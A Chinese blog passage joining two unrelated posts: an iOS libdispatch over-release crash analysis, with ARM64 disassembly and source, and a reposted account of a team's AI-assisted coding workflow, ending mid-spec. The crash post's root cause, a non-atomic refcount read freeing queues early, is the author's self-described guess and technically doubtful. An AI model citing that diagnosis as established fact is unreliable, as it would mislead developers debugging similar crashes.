    0x10c4f4af4 <+260>: cmp    w8, #0x1
    0x10c4f4af8 <+264>: b.gt   0x10c4f4b68               ; <+376>
    0x10c4f4afc <+268>: stp    x20, x21, [sp, #-0x10]!
    0x10c4f4b00 <+272>: adrp   x20, 47
    0x10c4f4b04 <+276>: add    x20, x20, #0x95e          ; "API MISUSE: Over-release of an object"
    0x10c4f4b08 <+280>: adrp   x21, 81
    0x10c4f4b0c <+284>: add    x21, x21, #0x260          ; gCRAnnotations
    0x10c4f4b10 <+288>: str    x20, [x21, #0x8]
    0x10c4f4b14 <+292>: ldp    x20, x21, [sp], #0x10

我们结合iOS14-iOS16对应的libdispatch源码里面_dispatch_barrier_waiter_redirect_or_wake函数

DISPATCH_NOINLINE
static void
_dispatch_barrier_waiter_redirect_or_wake(dispatch_queue_class_t dqu,
                dispatch_object_t dc, dispatch_wakeup_flags_t flags,
                uint64_t old_state, uint64_t new_state)
{
        dispatch_sync_context_t dsc = (dispatch_sync_context_t)dc._dc;
        dispatch_queue_t dq = dqu._dq;
        dispatch_wlh_t wlh = DISPATCH_WLH_ANON;

        if (dsc->dc_data == DISPATCH_WLH_ANON) {
                if (dsc->dsc_override_qos < _dq_state_max_qos(old_state)) {
                        dsc->dsc_override_qos = (uint8_t)_dq_state_max_qos(old_state);
                }
        }

        if (_dq_state_is_base_wlh(old_state)) {
                wlh = (dispatch_wlh_t)dq;
        } else if (_dq_state_received_override(old_state)) {
                // Ensure that the root queue sees that this thread was overridden.
                _dispatch_set_basepri_override_qos(_dq_state_max_qos(old_state));
        }

        if (flags & DISPATCH_WAKEUP_CONSUME_2) {
                if (_dq_state_is_base_wlh(old_state) &&
                                _dq_state_is_enqueued_on_target(new_state)) {
                        // If the thread request still exists, we need to leave it a +1
                        _dispatch_release_no_dispose(dq);
                } else {
                        _dispatch_release_2_no_dispose(dq);
                }
        } else if (_dq_state_is_base_wlh(old_state) &&
                        _dq_state_is_enqueued_on_target(old_state) &&
                        !_dq_state_is_enqueued_on_target(new_state)) {
                // If we cleared the enqueued bit, we're about to destroy the workloop
                // thread request, and we need to consume its +1.
                _dispatch_release_no_dispose(dq);
        }

        //
        // Past this point we are borrowing the reference of the sync waiter
        //
        if (unlikely(_dq_state_is_inner_queue(old_state))) {
                dispatch_queue_t tq = dq->do_targetq;
                if (dsc->dc_flags & DC_FLAG_ASYNC_AND_WAIT) {
                        _dispatch_async_waiter_update(dsc, dq);
                }
                if (likely(tq->dq_width == 1)) {
                        dsc->dc_flags |= DC_FLAG_BARRIER;
                } else {
                        dispatch_lane_t dl = upcast(tq)._dl;
                        dsc->dc_flags &= ~DC_FLAG_BARRIER;
                        if (_dispatch_queue_try_reserve_sync_width(dl)) {
                                return _dispatch_non_barrier_waiter_redirect_or_wake(dl, dc);
                        }
                }
                // passing the QoS of `dq` helps pushing on low priority waiters with
                // legacy workloops.
#if DISPATCH_INTROSPECTION
                dsc->dsc_from_async = false;
#endif
                return dx_push(tq, dsc, _dq_state_max_qos(old_state));
        }

        if (dsc->dc_flags & DC_FLAG_ASYNC_AND_WAIT) {
                // _dispatch_async_and_wait_f_slow() expects dc_other to be the
                // bottom queue of the graph
                dsc->dc_other = dq;
        }
#if DISPATCH_INTROSPECTION
        if (dsc->dsc_from_async) {
                _dispatch_trace_runtime_event(async_sync_handoff, dq, 0);
        } else {
                _dispatch_trace_runtime_event(sync_sync_handoff, dq, 0);
        }
#endif // DISPATCH_INTROSPECTION
        return _dispatch_waiter_wake(dsc, wlh, old_state, new_state);
}
static inline void
_dispatch_release_2_no_dispose(dispatch_object_t dou)
{
        _os_object_release_internal_n_no_dispose_inline(dou._os_obj, 2);
}
DISPATCH_ALWAYS_INLINE
static inline void
_os_object_release_internal_n_no_dispose_inline(_os_object_t obj, int n)
{
        int ref_cnt = _os_object_refcnt_sub(obj, n);
        if (likely(ref_cnt >= 0)) {
                return;
        }
        _OS_OBJECT_CLIENT_CRASH("Over-release of an object");
}
#define _os_object_refcnt_sub(o, n) \
                _os_atomic_refcnt_sub2o(o, os_obj_ref_cnt, n)
#define _os_atomic_refcnt_sub2o(o, m, n) \
                _os_atomic_refcnt_perform2o(o, m, sub, n, release)
#define _os_atomic_refcnt_perform2o(o, f, op, n, m)   ({ \
                typeof(o) _o = (o); \
                int _ref_cnt = _o->f; \
                if (likely(_ref_cnt != _OS_OBJECT_GLOBAL_REFCNT)) { \
                        _ref_cnt = os_atomic_##op##2o(_o, f, n, m); \
                } \
                _ref_cnt; \
        })

分析256汇编指令的前后的逻辑

0x10c4f4ad8 <+232>: ldr w8, [x21, #0x8] ; 从x21+0x8处加载一个32位值到w8(即读取引用计数值)

0x10c4f4adc <+236>: mov w9, #0x7fffffff ; 将最大值0x7FFFFFFF放入w9

0x10c4f4ae0 <+240>: cmp w8, w9 ; 比较引用计数值是否等于0x7FFFFFFF

0x10c4f4ae4 <+244>: b.eq 0x10c4f4b68 ; 如果相等,跳转到正常退出(说明是全局引用计数,不需要减)

0x10c4f4ae8 <+248>: add x8, x21, #0x8 ; 将x21+8的地址存入x8(引用计数字段地址)

0x10c4f4aec <+252>: mov w9, #-0x2 ; 将-2存入w9

0x10c4f4af0 <+256>: ldaddl w9, w8, [x8] ; 原子操作:将[x8]的值加上w9(即减2),并将操作前的值存入w8

0x10c4f4af4 <+260>: cmp w8, #0x1 ; 比较操作前的值(w8)是否大于1

0x10c4f4af8 <+264>: b.gt 0x10c4f4b68 ; 如果大于1,跳转到正常退出

0x10c4f4afc <+268>: ... 后续是处理引用计数不足的情况,会触发崩溃

注意,在 ldaddl 指令之前,有两条指令:

  • ldr w8, [x21, #0x8]:从 x21+8 处读取值。这里 x21 指向的是 obj(即队列对象),而 os_obj_ref_cnt 字段在对象结构体中的偏移量是8(因为对象结构体第一个字段是isa指针,占8字节,第二个字段就是引用计数)。所以这个读取是正常的。
  • 然后检查这个值是否为 0x7fffffff(全局引用计数),如果是,则跳过减操作。

如果引用计数不是全局引用计数,则计算引用计数字段地址(x21+8)x8,然后执行原子减操作。

崩溃发生在 ldaddl 指令,说明在访问 x8 指向的内存时出现了问题。而 x8 的值是 x21+8,所以问题可能在于 x21 指向的对象已经无效。

因此,最可能的情况是:x21 指向的队列对象(dq)已经被释放了,所以它指向的内存地址无效。

那为什么这个崩溃只出现在iOS14.0~16.2之间的系统?

这个问题我并没有找到确定的答案,在苹果开发者论坛以及相关资料也没有找到相关的讨论帖子

以下只是我针对我所掌握资料的一些原因推测。

因为iOS14.0~16.2系统发布的时间大概2020年 - 2022年之间,因此我找了下这期间libdispatch版本libdispatch-1271.100.5(2021年发布)

libdispatch版本: github.com/apple-oss-d…

来跟iOS16.2之后的版本libdispatch-1462.0.4,也是2023年发布的版本做对比。

通过分析__dispatch_barrier_waiter_redirect_or_wake函数实现以及256指令对应的汇编代码指向的是引用计数函数减2的函数,我们可以确定256指令对应函数代码实现是_dispatch_release_2_no_dispose

然后将_dispatch_release_2_no_dispose相关的上下游函数做对比,发现最有可能的根本原因:

iOS14.0~16.2之间引用计数器操作的方法,存在多线程操作情况,导致引用计数器提前为0,导致队列提前释放问题。具体表现为:

  • 引用技术的读取是非原子操作,不是线程安全的,只有操作(加减)是线程安全的,
  • 这样当多个线程同时操作同一个对象的引用计数时,可能出现数据竞争
  • 比如在多线程环境中,线程 A 正在更新引用计数,比如将引用计数加1,线程 B 同时读取,B 可能读到一个不完整的中间值,比如最开始引用计数是5,线程A更新后应该为6,线程B正确读取到的应该是6,但由于读操作的同时,线程A的更新操作还没结束,导致读取到的还是5.
  • 这样引用计数就会存在不准确问题,导致了有可能引用计数提前为0,导致队列被提前释放。
#define _os_atomic_refcnt_perform2o(o, f, op, n, m)   ({ \
                __typeof__(o) _o = (o); \
                int _ref_cnt = _o->f; \
                if (likely(_ref_cnt != _OS_OBJECT_GLOBAL_REFCNT)) { \
                        _ref_cnt = os_atomic_##op##2o(_o, f, n, m); \
                } \
                _ref_cnt; \
        })

我们看下测试的代码就很直观

而在libdispatch-1462.0.4版本里面,引用计数的操作就保证了读取和写入都是原子性,都是线程安全的。

#define _os_atomic_refcnt_perform(o, op, n, m)   ({ \
                int _ref_cnt = os_atomic_load(o, relaxed); \
                if (likely(_ref_cnt != _OS_OBJECT_GLOBAL_REFCNT)) { \
                        _ref_cnt = os_atomic_##op(o, n, m); \
                } \
                _ref_cnt; \
        })

因此也就保证了队列不会被提前释放。

我们比对了所有版本的libdispatch源码,发现引用计数操作的读取和写入都是原子性的,最早是在libdispatch-1462.0.4这个版本改的,但libdispatch-1462.0.4的发布时间已经是2023.09, 这时候对应的系统版本应该已经是iOS17,但考虑到libdispatch源码的公布,一般都是晚于iOS系统版本,等系统版本稳定后,才发布,因此可以合理的猜测其实苹果在iOS16.3系统版本里面就修复了这个引用计数操作问题。

以上我们推测了为什么这个崩溃会发生在iOS14.0~16.2系统,以及引起崩溃的可能原因是因为队列被提前释放了。

__dispatch_barrier_waiter_redirect_or_wake则表明这个崩溃发生在 GCDbarrier 同步机制 中,具体是系统在处理 dispatch_barrier_asyncdispatch_barrier_sync 时,尝试唤醒等待 barrier 的线程,但访问了已经释放的队列对象。

因此我们将目标锁定在 GCD 处理 barrier(栅栏)任务的方法调用上,也就是dispatch_barrier_syncqueue.sync(flags: .barrier)或者dispatch_barrier_asyncqueue.async(flags: .barrier)的调用上。

排查发现项目中有太多的地方调用到队列的栅栏函数,无论是二方、三方库、还是业务侧都有挺多地方调用到。

因为二方、三方库,除了我们业务线外,还有公司内其他业务线也在使用,因此咨询了其他业务线的iOS开发人员,发现他们并没有类似的崩溃。那也就是说二方、三方库引起的概率很小,很大概率是我们业务侧对barrier(栅栏)方法的使用引起的,因此我们也缩小了排查范围。

既然目标是业务侧对barrier(栅栏)方法的使用,经排查我们发现,业务侧定义了很多安全类比如安全字典、安全数组等,里面都是通过并行队列的同步读和栅栏函数写来实现读写锁的逻辑。

类似逻辑如下:

虽然我们观察代码的相关逻辑,发现这些安全类的读写锁逻辑,从代码结构来说确实没什么问题。但因为这些类在业务侧中有着非常广泛的使用,有作为对象的变量,也有作为局部变量,而且很多变量都是在多线程情况下生成和释放等操作,因此怀疑很有可能是这些安全类里面的并行队列的读写锁逻辑,导致系统内部由于引用技术操作的非原子性,致使并行队列引用计数为0,提前被释放,访问到无效内存地址崩溃。

三. 解决方案

既然原因锁定在这些安全类里面的通过并行队列来实现的读写锁逻辑,那最好的解决方案就是替换掉这些安全类里面的读写锁逻辑,使用pthread_rwlock_t来代替并行队列实现读写锁功能, 这样就避免了队列提前释放的风险。

读写锁pthread_rwlock_t其内部可能包含如下组件:

  • 互斥锁(Mutex) :用于保护读写锁的内部状态,如读计数器和写锁状态。
  • 读计数器(Read Counter) :记录当前持有读锁的线程数量。
  • 条件变量(Condition Variable) :用于实现线程的等待和通知机制。通常,会有两个条件变量,一个用于读线程,一个用于写线程。

当线程尝试获取读锁时,它会检查写锁状态和读计数器,如果当前没有写线程正在访问资源,则增加读计数器并允许读线程继续;如果存在写操作,则读线程将被阻塞,直到写操作完成。

类似地,当线程尝试获取写锁时,它会检查读计数器和写锁状态。如果当前没有读线程和写线程正在访问资源,则设置写锁状态并允许写线程继续;如果有读线程或写线程正在访问资源,则写线程将被阻塞,直到所有读线程和前一个写线程完成操作。

这个改动上线后,该崩溃得到了有效治理。

大家可以看到治理之前,该崩溃基本每天都有:

治理之后新版本没出现,只有旧版本偶现:

四. 总结

以上主要介绍了针对这个崩溃分析和治理过程的探索和思考,当然其中的原因并没有得到官方资料,只是自己排查的推测,如果大家有其他见解,欢迎留言讨论。

若本文有错误之处或者技术上关于其他类型Crash的讨论交流的,欢迎评论区留言。

[转载] AI编码实践:从Vibe Coding到SDD

原文地址

本文系统回顾了淘特导购团队在AI编码实践中的演进历程,从初期的代码智能补全Agent Coding再到引入Rules约束,最终探索SDD(Specification Driven Development,规格驱动开发)——以自然语言规格(spec.md)为唯一真理源,驱动代码、测试、文档自动生成,实现设计先行、可测试性内建与文档永不过期。实践中发现SDD理念先进但落地门槛高、工具链不成熟、历史代码集成难,因此团队当前采用融合策略:以轻量级技术方案模板为输入 + Rules严格约束 + Agent Coding高效实现 + AI自动汇总架构文档,形成兼顾规范性、效率与可维护性的AI辅助编程最佳实践。

背景

业务背景

生成式AI技术的范式突破正驱动智能开发工具进入超线性演进阶段,主流代码生成工具的迭代周期已从季度级压缩至周级,智能体架构创新推动开发效能持续提升。

淘特导购系统承载着商品推荐、会场投放、活动营销等多样化的业务场景,技术团队面临着需求迭代频繁、代码腐化及团队协作度高的问题,如何提升开发效率、保证代码质量、降低维护成本成为我们面临的重要挑战。正是在这样的背景下,我们开始尝试将AI技术融入到日常开发流程中,探索从传统编码到AI辅助编程的转变之路。

AI编程工具的引入

2024年初,团队开始探索AI编程工具,希望通过AI提升开发效率和代码质量。最初接触的是Aone Copilot(阿里内部AI工具)的代码智能补全功能,后来逐步尝试Agentic Coding、Rules约束、SDD(Specification Driven Development)等多种AI编程模式。本文将详细记录我们的探索历程、实践经验以及对AI编程未来的思考。

代码智能补全与单方法改写

初识AI编程

场景1:代码自动补全

1
2
3
4
5
6
7
8
9
10
11
12
13
// 开发者输入:
public List<ItemCardVO> buildItemCards(List<ContentEntity> entities) {
List<ItemCardVO> result = new ArrayList<>();
// AI自动补全以下代码
for (ContentEntity entity : entities) {
ItemCardVO itemCard = new ItemCardVO();
itemCard.setItemId(entity.getItemId());
itemCard.setItemTitle(entity.getTitle());
itemCard.setItemImg(entity.getPicUrl());
result.add(itemCard);
}
return result;
}

场景2:单方法重构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 原始代码(冗长难读)
public String getDiscountText(Long finalPrice, Long nnPrice) {
if (finalPrice == null || nnPrice == null) {
return "";
}
if (finalPrice <= nnPrice) {
return "";
}
Long discount = finalPrice - nnPrice;
if (discount <= 0) {
return "";
}
String discountYuan = String.valueOf(discount / 100.0);
return discountYuan + "元";
}
// AI重构后(简洁优雅)
public String getDiscountText(Long finalPrice, Long nnPrice) {
if (finalPrice == null || nnPrice == null || finalPrice <= nnPrice) {
return "";
}
Money discount = Money.ofFen(finalPrice).subtract(Money.ofFen(nnPrice));
if (discount.getCent() <= 0) {
return "";
}
return String.format("%s元", discount.getYuan());
}

初步收益

效率提升:

  • 去年某次商详项目中,代码补全在对象构建、模型转换中减少70-80%的键盘输入。
  • 单方法重构速度提升50%。

体验优化:

  • 减少了查找API文档的时间
  • 避免了拼写错误和语法错误
  • 让开发者更专注于业务逻辑

遇到的问题

然而,这个阶段也暴露出一些问题:

  1. 局限于局部优化:只能帮助完成单个方法或代码片段,无法理解整体业务逻辑
  2. 缺乏上下文理解:不了解项目的架构规范和代码风格
  3. 无法应对复杂需求:对于跨多个类、多个模块的需求无能为力

Agentic Coding的探索与挑战

Agentic Coding的尝试

带着上面的问题,我们开始尝试Agentic Coding模式,通过编写详细的提示词(Prompt),让AI一次性实现整个功能。

AI工具:Aone Copilot,模型:Qwen3-coder。

典型的Prompt结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
需求:实现NN页面红包模块
背景:
- 需要展示用户可用的红包列表
- 红包按门槛从小到大排序
实现要求:
1. 创建数据服务类 NnRedPacketDataService,查询用户红包
2. 创建模块VO NnRedPacketVO,包含红包列表、总金额等字段
3. 创建模块构建器 NnRedPacketModuleBuilder,组装数据
技术细节:
- 数据服务需要实现 DataService<List<FundQueryDTO>> 接口
- 数据服务实现类需要依赖FpProvider,并执行红包查询,参数请参考已有实现
- 模块构建器需要继承 BaseModuleBuilder<NnRedPacketVO>
- 使用 @Component 注解标记为Spring Bean
- 遵循项目代码规范
请生成完整的代码。

AI生成的代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// 1. 数据服务
@Component
public class NnRedPacketDataService implements DataService<List<FundQueryDTO>> {
@Autowired
private FpProvider fpProvider;
@Override
public List<FundQueryDTO> execute(InvocationContext context, JSONObject req) {
// 从配置获取红包池ID
String poolIds = req.getString("nnRedPacketPoolIds");
List<Long> fundPoolIds = Arrays.stream(poolIds.split(","))
.map(Long::parseLong)
.collect(Collectors.toList());
// 查询用户红包
return fpProvider.queryUserFundBuyPoolId(
context,
fundPoolIds,
customRuleId,
securityCode
);
}
}
// 2. 模块VO
@Data
@Builder
public class NnRedPacketVO {
private List<RedPacketItem> redPacketList;
private String totalAmount;
private String expandText;
}
// 3. 模块构建器
@Component
public class NnRedPacketModuleBuilder extends BaseModuleBuilder<NnRedPacketVO> {
@Override
public String getName() {
return "nnRedPacket";
}
@Override
protected NnRedPacketVO doBuild(InvocationContext context) {
// 获取红包数据
List<FundQueryDTO> funds = ContextUtils
.<List<FundQueryDTO>>getBizResult(
NnRedPacketDataService.class.getSimpleName(),
context,
500
)
.orElse(Collections.emptyList());
if (CollectionUtils.isEmpty(funds)) {
return null;
}
// 构建VO
return NnRedPacketVO.builder()
.redPacketList(buildRedPacketList(funds))
.totalAmount(calculateTotalAmount(funds))
.build();
}
private List<RedPacketItem> buildRedPacketList(List<FundQueryDTO> funds) {
return funds.stream()
.map(this::toRedPacketItem)
.collect(Collectors.toList());
}
// ... 其他方法
}

显著的效率提升

Agentic Coding实现了开发效率的显著优化,通过提示词驱动的自动代码生成替代了传统手动编写,虽然Prompt设计需要额外时间,但综合效率提升效果明显。

快速暴露的问题

然而,在后续的需求迭代中,我们发现了严重的问题:

问题1:代码延续性差

现象: 同样的NN业务,第二次让AI实现时,生成的代码风格完全不同

1
2
3
4
5
6
7
8
9
10
11
// 第一次生成(简洁风格)
private String buildDiscountText(Money discount) {
return String.format("省%s元", discount.getYuan());
}
// 第二次生成(冗长风格)
private String buildDiscountText(Money discount) {
BigDecimal yuan = BigDecimal.valueOf(discount.getCent())
.divide(BigDecimal.valueOf(100), 2, RoundingMode.HALF_UP);
String yuanStr = yuan.stripTrailingZeros().toPlainString();
return "省" + yuanStr + "元";
}

影响: 同一个项目内,类似功能的实现方式五花八门,维护成本高

问题2:代码风格不一致

现象: AI不了解项目的代码规范,导致生成的代码风格和存量代码不一致。

问题3:团队协同性差

现象: 不同开发者写的Prompt差异大,生成的代码质量参差不齐

  • 新手写的Prompt过于简单,AI生成的代码质量差
  • 老手写的Prompt详细但冗长,难以复用
  • 缺乏统一的Prompt模板和最佳实践

原因分析

这些问题的根本原因在于:AI缺乏项目特定的上下文和约束

  • 没有项目规范: AI不知道项目的代码风格、架构模式、命名规范
  • 没有领域知识: AI不了解淘特导购业务的特定术语和设计模式
  • 没有历史经验: 每次都是”零基础”生成代码,无法从历史代码中学习

这让我们意识到,需要给AI建立”项目规范”和”领域知识”。

Rules约束 - 建立AI的”项目规范”

引入Rules文件

我们开始尝试用Rules文件来约束AI的行为,将项目规范、架构模式、领域知识固化下来。

Rules文件体系:

1
2
3
4
5
6
7
8
.aone_copilot/
├── rules/
│ ├── code-style.aonerule # 代码风格规范
│ ├── project-structure.aonerule # 项目结构规范
│ └── features.aonerule # 功能实现规范
└── tech/
├── xx秒杀-技术方案.md # 具体需求的技术方案
└── xx红包模块-技术方案.md

Rules文件内容示例

代码风格规范(code-style.aonerule)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 代码风格规范

## Java代码规范
- 类名使用大驼峰命名法(PascalCase)
- 方法名和变量名使用小驼峰命名法(camelCase)
- 常量使用全大写,单词间用下划线分隔(CONSTANT_CASE)

## 空值判断
- 集合判空统一使用:CollectionUtils.isEmpty() 或 isNotEmpty()
- 字符串判空统一使用:StringUtils.isBlank() 或 isNotBlank()
- 对象判空统一使用:Objects.isNull() 或 Objects.nonNull()

## 日志规范
- 使用 LogUtil 工具类记录日志
- 错误日志格式:LogUtil.error("类名, 方法名, 错误描述, 关键参数={}", param, exception)

## 注解使用
- Service类使用 @Component 注解
- 数据服务实现 DataService<T> 接口
- 模块构建器继承 BaseModuleBuilder<T>

项目结构规范

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 项目结构规范
## 包结构
com.alibaba.aladdin.app/
├── module/ # 模块构建器
│ ├── nn/ # NN业务模块
│ ├── seckill/ # 秒杀业务模块
│ └── common/ # 通用模块
├── domain/ # 领域对象
│ ├── module/ # 模块VO(继承ModuleObject)
│ └── [业务名]/ # 业务领域对象(BO、DTO)
├── dataservice/impl/ # 数据服务实现
└── provider/ # 外部服务提供者
## 命名规范
- 数据服务:[业务名]DataService(如 NnRedPacketDataService)
- 模块构建器:[业务名]ModuleBuilder(如 NnFeedsModuleBuilder)
- 模块VO:[业务名]VO(如 NnRedPacketVO)
- 业务BO:[业务名]BO(如 NnRoundFeatureBO)

功能实现规范

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 功能实现规范
## 数据服务层
- 必须实现 DataService<T> 接口
- 使用 @Component 注解
- execute方法的第一个参数是 InvocationContext
- execute方法的第二个参数是 JSONObject businessReq
示例:
```java
@Component
public class NnRedPacketDataService implements DataService<List<FundQueryDTO>> {
@Override
public List<FundQueryDTO> execute(InvocationContext context, JSONObject businessReq) {
// 实现逻辑
}
}

模块构建器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
- 必须继承 BaseModuleBuilder
- 使用 @Component 注解
- 实现 getName()、doBuild()、bottomTransform() 三个方法
- 通过 ContextUtils.getBizResult() 获取数据服务结果
示例:

@Component
public class NnRedPacketModuleBuilder extends BaseModuleBuilder<NnRedPacketVO> {
@Override
public String getName() {
return "nnRedPacket";
}
@Override
protected NnRedPacketVO doBuild(InvocationContext context) {
List<FundQueryDTO> funds = ContextUtils
.<List<FundQueryDTO>>getBizResult(
NnRedPacketDataService.class.getSimpleName(),
context,
500
)
.orElse(Collections.emptyList());
// 构建逻辑
}
}

技术方案模板

除了Rules文件,我们还为每个需求创建技术方案文档,明确定义需要生成的代码:

技术方案示例(NN红包模块-技术方案.md):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## 业务定义
NN红包模块用于展示用户在NN业务场景下可用的红包列表。
## 业务领域对象
无(复用 FundQueryDTO)
## 模块领域对象
| 对象含义 | 实现方案 | 属性及类型 |
|---------|---------|-----------|
| NN红包模块VO | 新增 | 1. redPacketList:List<RedPacketItem> - 红包列表<br>2. totalAmount:String - 总金额<br>3. expandText:String - 展开文案 |
## 数据服务层
| 数据服务定义 | 实现方案 | execute |
|------------|---------|---------|
| NN红包查询服务 | 新增 | 1. 从配置获取红包池ID列表<br>2. 调用FpProvider查询用户红包<br>3. 过滤可用红包(状态=2,未过期)<br>4. 返回红包列表 |
## 模块构建器
| 模块构建器定义 | 实现方案 | doBuild逻辑 |
|--------------|---------|-------------|
| NN红包模块构建器 | 新增 | 1. 获取红包数据<br>2. 过滤门槛>20元的红包<br>3. 按门槛从小到大排序<br>4. 构建VO |

显著改善的效果

引入Rules文件后,我们看到了明显的改善:

代码一致性:

  • 所有生成的代码都遵循统一的命名规范
  • 项目结构清晰,模块划分明确
  • 代码风格保持一致

开发效率:

  • 技术方案填写时间从2小时降低到20分钟
  • 代码实现时间从1天降低到2小时(需要人工收尾)

团队协作:

  • 技术方案成为团队共同语言
  • Code Review效率提升50%
  • 新人上手时间从1周降低到2天

依然存在的问题

虽然Rules带来了显著改善,但仍存在一些问题:

  1. 需求理解不够深入:AI仍然是基于技术方案”翻译”成代码,对业务语义理解有限
  2. 测试质量参差不齐:虽然能生成单测,但测试用例的通过率和覆盖度仍需人工把关
  3. 文档滞后:代码变更后,文档更新容易遗漏
  4. 依赖关系管理:对于复杂的模块依赖关系,AI处理不够优雅

这些问题让我们思考:能否找到一种方式,让AI能更加规范和延续的coding?

SDD探索 - 规格驱动开发

SDD的引入

近期,我们开始初步尝试SDD(Specification Driven Development,规格驱动开发),使用了Spec Kit工具链。

SDD的核心理念:

规格是唯一真理源(Single Source of Truth)

  • 所有的代码、测试、文档都从规格生成
  • 规格即文档,文档永不过期

设计先于实现

  • 先用自然语言描述”做什么”(规格)
  • 再让AI生成”怎么做”(代码)

可测试性内建

  • 规格中明确定义测试用例
  • 自动生成完整的单元测试

Speckit执行流程

环境准备

我们主要使用了两种工具:

  1. iflow + qwen3 coder plus + spec kit
  2. qwen + qwen3 coder plus + spec kit

文件体系:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
├── .specify/
│ ├── memory/
│ │ └── constitution.md
│ ├── scripts/
│ └── templates/
├── specs/
│ └── 001-nn-redpacket-module/
│ ├── checklists/
│ │ └── requirements.md
│ ├── contracts/
│ │ └── api-contract.md
│ ├── data-model.md
│ ├── plan.md
│ ├── quickstart.md
│ ├── research.md
│ └── spec.md
└── req/
└── nn-redpacket.md

speckit.constitution—制定整个项目的原则

这一步会生成项目全局的宪章,constitution.md

以下是部分节选:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
## 核心原则

### I. 模块化服务架构
所有服务必须遵循模块化设计原则,具有明确的关注点分离和定义良好的接口。每个模块应具有单一职责并可独立部署。模块必须以松耦合和高内聚的方式设计,以增强可维护性和可扩展性,遵循最小依赖原则。
### II. 阿里巴巴开发标准
所有代码必须遵循阿里巴巴Java开发指南(基于阿里巴巴Java编码规范)。这包括命名约定、异常处理实践、日志标准、安全最佳实践和性能优化模式。代码必须遵守样式一致性要求,以保持代码库的统一性。
### III. 质量保证实践
全面测试是强制性的:对所有业务逻辑进行单元测试,对服务交互进行集成测试,对API兼容性进行合同测试。代码覆盖率必须保持在80%以上,特别关注关键业务路径。代码质量工具必须集成到CI/CD管道中以执行标准,遵循阿里巴巴开发规范以确保质量和可靠性。
### IV. 模块设计原则
遵循单一职责原则,每个模块都有一个明确的目的。模块必须以松耦合和高内聚的方式设计,遵循关注点分离原则。模块边界应与业务能力和领域上下文对齐。所有模块都遵循最小依赖原则,仅导入必要的依赖项以减少系统复杂性。
### V. 项目架构设计原则
本项目采用分层架构设计,通过模块化组织代码,支持淘特投放业务的各种场景需求。架构层次包括:
1. **接入层**:处理请求接入和协议转换
2. **解决方案层**:业务解决方案的统一入口
3. **子解决方案层**:细粒度的业务处理能力
4. **模块构建层**:按业务功能划分的模块构建器
5. **数据服务层**:负责各种业务数据的获取、处理和封装
6. **外部服务层**:负责调用外部服务并进行模型转换
7. **领域模型层**:定义核心业务对象和数据传输对象
8. **基础设施层**:包含基础组件和框架封装
9. **通用模块层**:公共组件和工具类
### VI. 依赖管理
遵循最小依赖原则:每个模块应只拥有其实际需要的依赖项。避免模块之间的循环依赖。使用依赖注入实现松耦合。定期审核和更新依赖项以最小化安全漏洞。这确保了可维护和高效的代码结构。
### VII. 代码风格一致性
在整个项目中保持一致的代码风格,使用标准化的格式化规则。所有代码在合并前必须通过静态分析检查。一致地遵循设计模式,并对与标准实践的任何偏差提供清晰的证明。这确保了统一的代码规范和样式,符合项目标准。
### VIII. Speckit中文本地化
所有speckit相关文件、文档和配置都应使用中文,以支持本地开发团队。`.specify/`和`specs/`目录中的文件和相关speckit构件必须使用中文,以便本地开发人员更好地理解和维护,同时应为可能服务国际市场面向用户的组件保留国际化支持。
## 安全和合规要求
所有代码必须符合阿里巴巴的安全标准,并在部署前进行强制性安全审查。必须为所有暴露的端点实现适当的身份验证和授权。敏感数据必须根据内部合规要求进行处理。必须扫描依赖项中的安全漏洞。
## 开发工作流程
1. 所有代码更改必须遵循标准的阿里巴巴开发工作流程:功能分支、代码审查、自动化测试和CI/CD管道验证。拉取请求必须通过所有测试并获得指定审阅者的批准后才能合并。除非明确批准进行具有迁移计划的破坏性更改,否则所有更改必须向后兼容。每次更改都必须遵循模块设计原则并保持代码风格一致性。
2. 所有操作不要创建新分支,而是在当前分支下进行
3. 代码生成必须遵循code-generation-prompt.aonerule文件
## 治理
本宪法凌驾于所有其他开发实践之上,必须在存储库中的所有工作中遵循。对本宪法的任何修改都需要正式文档、团队批准和迁移计划。所有PR和代码审查必须验证是否符合这些原则。

speckit.specify—编写规格说明

这一步会新建一个分支,创建spec.md、requirements.md等文件,这里反复修改了多次,主要还是后续的执行不理想的返工。

NN红包模块规格说明(spec.md):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

# NN红包模块规格说明
## 功能概述
NN红包模块用于在NN频道页面展示用户可用的红包列表,帮助用户了解可以使用的优惠。
## 功能需求
### FR-1: 红包数据获取
**描述:** 系统应该能够查询用户在当前NN业务场景下可用的红包
**前置条件:**
- 用户已登录
- 配置了红包池ID(fundPoolIds)
- 配置了规则id(customRuleId)
- 配置了securityCode
**输入:**
- userId:用户ID
- fundPoolIds:红包池ID列表
- customRuleId:自定义规则ID
- securityCode:安全码
**处理逻辑:**
1. 调用FpProvider.queryUserFundBuyPoolId()查询红包
2. 过滤条件:
- 红包状态(payStatus)= 2(可使用)
- 红包未过期(当前时间在startTime和endTime之间)
- 红包门槛 <= 配置的amountThreshold(默认20元)
**输出:**
- 返回符合条件的红包列表
**异常处理:**
- 如果FpProvider调用失败,返回空列表
- 如果用户未登录,返回空列表
...
...
...
**处理逻辑:**
1. 如果红包列表为空,不展示模块(返回null)
2. 构建NnRedPacketVO:
- redPacketList:转换每个红包为RedPacketItem
- totalAmount:计算所有红包金额总和
- expandText:从配置获取展开文案
**输出:** NnRedPacketVO
## 非功能需求
### NFR-1: 性能要求
